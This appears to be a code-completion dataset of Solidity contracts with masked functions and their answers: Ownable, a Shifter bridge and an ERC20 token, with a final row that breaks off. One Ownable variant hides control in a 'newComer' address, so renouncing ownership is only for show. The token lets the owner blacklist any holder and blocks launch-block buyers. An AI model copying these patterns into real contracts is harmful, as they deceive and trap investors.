source_idx
stringlengths
1
5
contract_name
stringlengths
1
55
func_name
stringlengths
0
2.45k
masked_body
stringlengths
60
827k
masked_all
stringlengths
34
827k
func_body
stringlengths
4
324k
signature_only
stringlengths
11
2.47k
signature_extend
stringlengths
11
25.6k
7403
Ownable
null
contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal {<FILL_FUNCTION_BODY> } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } }
contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); <FILL_FUNCTION> function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } }
address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender);
constructor () internal
constructor () internal
89545
Shifter
updateMintAuthority
contract Shifter is Ownable { using SafeMath for uint256; uint8 public version = 2; uint256 constant BIPS_DENOMINATOR = 10000; uint256 public minShiftAmount; ERC20Shifted public token; address public mintAuthority; address public feeRecipient; uint16 public fee; mapping (bytes32=>bool) public status; uint256 public nextShiftID = 0; event LogShiftIn( address indexed _to, uint256 _amount, uint256 indexed _shiftID ); event LogShiftOut( bytes _to, uint256 _amount, uint256 indexed _shiftID, bytes indexed _indexedTo ); constructor(ERC20Shifted _token, address _feeRecipient, address _mintAuthority, uint16 _fee, uint256 _minShiftOutAmount) public { minShiftAmount = _minShiftOutAmount; token = _token; mintAuthority = _mintAuthority; fee = _fee; updateFeeRecipient(_feeRecipient); } function claimTokenOwnership() public { token.claimOwnership(); } function transferTokenOwnership(Shifter _nextTokenOwner) public onlyOwner { token.transferOwnership(address(_nextTokenOwner)); _nextTokenOwner.claimTokenOwnership(); } function updateMintAuthority(address _nextMintAuthority) public onlyOwner {<FILL_FUNCTION_BODY> } function updateMinimumShiftOutAmount(uint256 _minShiftOutAmount) public onlyOwner { minShiftAmount = _minShiftOutAmount; } function updateFeeRecipient(address _nextFeeRecipient) public onlyOwner { require(_nextFeeRecipient != address(0x0), "fee recipient cannot be 0x0"); feeRecipient = _nextFeeRecipient; } function updateFee(uint16 _nextFee) public onlyOwner { fee = _nextFee; } function shiftIn(bytes32 _pHash, uint256 _amount, bytes32 _nHash, bytes memory _sig) public returns (uint256) { bytes32 signedMessageHash = hashForSignature(_pHash, _amount, msg.sender, _nHash); require(status[signedMessageHash] == false, "nonce hash already spent"); if (!verifySignature(signedMessageHash, _sig)) { revert( String.add4( "invalid signature - hash: ", String.fromBytes32(signedMessageHash), ", signer: ", String.fromAddress(ECDSA.recover(signedMessageHash, _sig)) ) ); } status[signedMessageHash] = true; uint256 absoluteFee = (_amount.mul(fee)).div(BIPS_DENOMINATOR); uint256 receivedAmount = _amount.sub(absoluteFee); token.mint(msg.sender, receivedAmount); token.mint(feeRecipient, absoluteFee); emit LogShiftIn(msg.sender, receivedAmount, nextShiftID); nextShiftID += 1; return receivedAmount; } function shiftOut(bytes memory _to, uint256 _amount) public returns (uint256) { require(_to.length != 0, "to address is empty"); require(_amount >= minShiftAmount, "amount is less than the minimum shiftOut amount"); uint256 absoluteFee = (_amount.mul(fee)).div(BIPS_DENOMINATOR); token.burn(msg.sender, _amount); token.mint(feeRecipient, absoluteFee); uint256 receivedValue = _amount.sub(absoluteFee); emit LogShiftOut(_to, receivedValue, nextShiftID, _to); nextShiftID += 1; return receivedValue; } function verifySignature(bytes32 _signedMessageHash, bytes memory _sig) public view returns (bool) { return mintAuthority == ECDSA.recover(_signedMessageHash, _sig); } function hashForSignature(bytes32 _pHash, uint256 _amount, address _to, bytes32 _nHash) public view returns (bytes32) { return keccak256(abi.encode(_pHash, _amount, address(token), _to, _nHash)); } }
contract Shifter is Ownable { using SafeMath for uint256; uint8 public version = 2; uint256 constant BIPS_DENOMINATOR = 10000; uint256 public minShiftAmount; ERC20Shifted public token; address public mintAuthority; address public feeRecipient; uint16 public fee; mapping (bytes32=>bool) public status; uint256 public nextShiftID = 0; event LogShiftIn( address indexed _to, uint256 _amount, uint256 indexed _shiftID ); event LogShiftOut( bytes _to, uint256 _amount, uint256 indexed _shiftID, bytes indexed _indexedTo ); constructor(ERC20Shifted _token, address _feeRecipient, address _mintAuthority, uint16 _fee, uint256 _minShiftOutAmount) public { minShiftAmount = _minShiftOutAmount; token = _token; mintAuthority = _mintAuthority; fee = _fee; updateFeeRecipient(_feeRecipient); } function claimTokenOwnership() public { token.claimOwnership(); } function transferTokenOwnership(Shifter _nextTokenOwner) public onlyOwner { token.transferOwnership(address(_nextTokenOwner)); _nextTokenOwner.claimTokenOwnership(); } <FILL_FUNCTION> function updateMinimumShiftOutAmount(uint256 _minShiftOutAmount) public onlyOwner { minShiftAmount = _minShiftOutAmount; } function updateFeeRecipient(address _nextFeeRecipient) public onlyOwner { require(_nextFeeRecipient != address(0x0), "fee recipient cannot be 0x0"); feeRecipient = _nextFeeRecipient; } function updateFee(uint16 _nextFee) public onlyOwner { fee = _nextFee; } function shiftIn(bytes32 _pHash, uint256 _amount, bytes32 _nHash, bytes memory _sig) public returns (uint256) { bytes32 signedMessageHash = hashForSignature(_pHash, _amount, msg.sender, _nHash); require(status[signedMessageHash] == false, "nonce hash already spent"); if (!verifySignature(signedMessageHash, _sig)) { revert( String.add4( "invalid signature - hash: ", String.fromBytes32(signedMessageHash), ", signer: ", String.fromAddress(ECDSA.recover(signedMessageHash, _sig)) ) ); } status[signedMessageHash] = true; uint256 absoluteFee = (_amount.mul(fee)).div(BIPS_DENOMINATOR); uint256 receivedAmount = _amount.sub(absoluteFee); token.mint(msg.sender, receivedAmount); token.mint(feeRecipient, absoluteFee); emit LogShiftIn(msg.sender, receivedAmount, nextShiftID); nextShiftID += 1; return receivedAmount; } function shiftOut(bytes memory _to, uint256 _amount) public returns (uint256) { require(_to.length != 0, "to address is empty"); require(_amount >= minShiftAmount, "amount is less than the minimum shiftOut amount"); uint256 absoluteFee = (_amount.mul(fee)).div(BIPS_DENOMINATOR); token.burn(msg.sender, _amount); token.mint(feeRecipient, absoluteFee); uint256 receivedValue = _amount.sub(absoluteFee); emit LogShiftOut(_to, receivedValue, nextShiftID, _to); nextShiftID += 1; return receivedValue; } function verifySignature(bytes32 _signedMessageHash, bytes memory _sig) public view returns (bool) { return mintAuthority == ECDSA.recover(_signedMessageHash, _sig); } function hashForSignature(bytes32 _pHash, uint256 _amount, address _to, bytes32 _nHash) public view returns (bytes32) { return keccak256(abi.encode(_pHash, _amount, address(token), _to, _nHash)); } }
mintAuthority = _nextMintAuthority;
function updateMintAuthority(address _nextMintAuthority) public onlyOwner
function updateMintAuthority(address _nextMintAuthority) public onlyOwner
64116
Ownable
owner
contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) {<FILL_FUNCTION_BODY> } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } }
contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } <FILL_FUNCTION> modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } }
return _owner;
function owner() public view returns (address)
function owner() public view returns (address)
69248
Human_of_Theeus
_addLiquidity
contract Human_of_Theeus is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; mapping (address => bool) private _isSniper; bool private _swapping; uint256 private _launchTime; address public feeWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 private _buyMarketingFee; uint256 private _buyLiquidityFee; uint256 private _buyDevFee; uint256 public sellTotalFees; uint256 private _sellMarketingFee; uint256 private _sellLiquidityFee; uint256 private _sellDevFee; uint256 private _tokensForMarketing; uint256 private _tokensForLiquidity; uint256 private _tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event feeWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Human of Theseus", "HOT") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 buyMarketingFee = 1; uint256 buyLiquidityFee = 1; uint256 buyDevFee = 10; uint256 sellMarketingFee = 1; uint256 sellLiquidityFee = 1; uint256 sellDevFee = 10; uint256 totalSupply = 1e18 * 1e9; maxTransactionAmount = totalSupply * 1 / 100; // 1% maxTransactionAmountTxn maxWallet = totalSupply * 3 / 100; // 3% maxWallet swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet _buyMarketingFee = buyMarketingFee; _buyLiquidityFee = buyLiquidityFee; _buyDevFee = buyDevFee; buyTotalFees = _buyMarketingFee + _buyLiquidityFee + _buyDevFee; _sellMarketingFee = sellMarketingFee; _sellLiquidityFee = sellLiquidityFee; _sellDevFee = sellDevFee; sellTotalFees = _sellMarketingFee + _sellLiquidityFee + _sellDevFee; feeWallet = address(owner()); // set as fee wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; _launchTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000) / 1e9, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * 1e9; } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e9, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * 1e9; } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function updateBuyFees(uint256 marketingFee, uint256 liquidityFee, uint256 devFee) external onlyOwner { _buyMarketingFee = marketingFee; _buyLiquidityFee = liquidityFee; _buyDevFee = devFee; buyTotalFees = _buyMarketingFee + _buyLiquidityFee + _buyDevFee; require(buyTotalFees <= 10, "Must keep fees at 10% or less"); } function updateSellFees(uint256 marketingFee, uint256 liquidityFee, uint256 devFee) external onlyOwner { _sellMarketingFee = marketingFee; _sellLiquidityFee = liquidityFee; _sellDevFee = devFee; sellTotalFees = _sellMarketingFee + _sellLiquidityFee + _sellDevFee; require(sellTotalFees <= 15, "Must keep fees at 15% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateFeeWallet(address newWallet) external onlyOwner { emit feeWalletUpdated(newWallet, feeWallet); feeWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function setSnipers(address[] memory snipers_) public onlyOwner() { for (uint i = 0; i < snipers_.length; i++) { if (snipers_[i] != uniswapV2Pair && snipers_[i] != address(uniswapV2Router)) { _isSniper[snipers_[i]] = true; } } } function delSnipers(address[] memory snipers_) public onlyOwner() { for (uint i = 0; i < snipers_.length; i++) { _isSniper[snipers_[i]] = false; } } function isSniper(address addr) public view returns (bool) { return _isSniper[addr]; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!_isSniper[from], "Your address has been marked as a sniper, you are unable to transfer or swap."); if (amount == 0) { super._transfer(from, to, 0); return; } if (block.timestamp == _launchTime) _isSniper[to] = true; if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !_swapping ) { if (!tradingActive) { require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } // when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } // when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if (!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && !_swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { _swapping = true; swapBack(); _swapping = false; } bool takeFee = !_swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); _tokensForLiquidity += fees * _sellLiquidityFee / sellTotalFees; _tokensForDev += fees * _sellDevFee / sellTotalFees; _tokensForMarketing += fees * _sellMarketingFee / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); _tokensForLiquidity += fees * _buyLiquidityFee / buyTotalFees; _tokensForDev += fees * _buyDevFee / buyTotalFees; _tokensForMarketing += fees * _buyMarketingFee / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {<FILL_FUNCTION_BODY> } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = _tokensForLiquidity + _tokensForMarketing + _tokensForDev; if (contractBalance == 0 || totalTokensToSwap == 0) return; if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * _tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; _swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(_tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(_tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; _tokensForLiquidity = 0; _tokensForMarketing = 0; _tokensForDev = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { _addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, _tokensForLiquidity); } } function withdrawFees() external { payable(feeWallet).transfer(address(this).balance); } receive() external payable {} }
contract Human_of_Theeus is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; mapping (address => bool) private _isSniper; bool private _swapping; uint256 private _launchTime; address public feeWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 private _buyMarketingFee; uint256 private _buyLiquidityFee; uint256 private _buyDevFee; uint256 public sellTotalFees; uint256 private _sellMarketingFee; uint256 private _sellLiquidityFee; uint256 private _sellDevFee; uint256 private _tokensForMarketing; uint256 private _tokensForLiquidity; uint256 private _tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event feeWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Human of Theseus", "HOT") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 buyMarketingFee = 1; uint256 buyLiquidityFee = 1; uint256 buyDevFee = 10; uint256 sellMarketingFee = 1; uint256 sellLiquidityFee = 1; uint256 sellDevFee = 10; uint256 totalSupply = 1e18 * 1e9; maxTransactionAmount = totalSupply * 1 / 100; // 1% maxTransactionAmountTxn maxWallet = totalSupply * 3 / 100; // 3% maxWallet swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet _buyMarketingFee = buyMarketingFee; _buyLiquidityFee = buyLiquidityFee; _buyDevFee = buyDevFee; buyTotalFees = _buyMarketingFee + _buyLiquidityFee + _buyDevFee; _sellMarketingFee = sellMarketingFee; _sellLiquidityFee = sellLiquidityFee; _sellDevFee = sellDevFee; sellTotalFees = _sellMarketingFee + _sellLiquidityFee + _sellDevFee; feeWallet = address(owner()); // set as fee wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; _launchTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000) / 1e9, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * 1e9; } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e9, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * 1e9; } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function updateBuyFees(uint256 marketingFee, uint256 liquidityFee, uint256 devFee) external onlyOwner { _buyMarketingFee = marketingFee; _buyLiquidityFee = liquidityFee; _buyDevFee = devFee; buyTotalFees = _buyMarketingFee + _buyLiquidityFee + _buyDevFee; require(buyTotalFees <= 10, "Must keep fees at 10% or less"); } function updateSellFees(uint256 marketingFee, uint256 liquidityFee, uint256 devFee) external onlyOwner { _sellMarketingFee = marketingFee; _sellLiquidityFee = liquidityFee; _sellDevFee = devFee; sellTotalFees = _sellMarketingFee + _sellLiquidityFee + _sellDevFee; require(sellTotalFees <= 15, "Must keep fees at 15% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateFeeWallet(address newWallet) external onlyOwner { emit feeWalletUpdated(newWallet, feeWallet); feeWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function setSnipers(address[] memory snipers_) public onlyOwner() { for (uint i = 0; i < snipers_.length; i++) { if (snipers_[i] != uniswapV2Pair && snipers_[i] != address(uniswapV2Router)) { _isSniper[snipers_[i]] = true; } } } function delSnipers(address[] memory snipers_) public onlyOwner() { for (uint i = 0; i < snipers_.length; i++) { _isSniper[snipers_[i]] = false; } } function isSniper(address addr) public view returns (bool) { return _isSniper[addr]; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!_isSniper[from], "Your address has been marked as a sniper, you are unable to transfer or swap."); if (amount == 0) { super._transfer(from, to, 0); return; } if (block.timestamp == _launchTime) _isSniper[to] = true; if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !_swapping ) { if (!tradingActive) { require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } // when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } // when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if (!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && !_swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { _swapping = true; swapBack(); _swapping = false; } bool takeFee = !_swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); _tokensForLiquidity += fees * _sellLiquidityFee / sellTotalFees; _tokensForDev += fees * _sellDevFee / sellTotalFees; _tokensForMarketing += fees * _sellMarketingFee / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); _tokensForLiquidity += fees * _buyLiquidityFee / buyTotalFees; _tokensForDev += fees * _buyDevFee / buyTotalFees; _tokensForMarketing += fees * _buyMarketingFee / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } <FILL_FUNCTION> function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = _tokensForLiquidity + _tokensForMarketing + _tokensForDev; if (contractBalance == 0 || totalTokensToSwap == 0) return; if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * _tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; _swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(_tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(_tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; _tokensForLiquidity = 0; _tokensForMarketing = 0; _tokensForDev = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { _addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, _tokensForLiquidity); } } function withdrawFees() external { payable(feeWallet).transfer(address(this).balance); } receive() external payable {} }
// approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp );
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private
6809
StandardToken
transfer
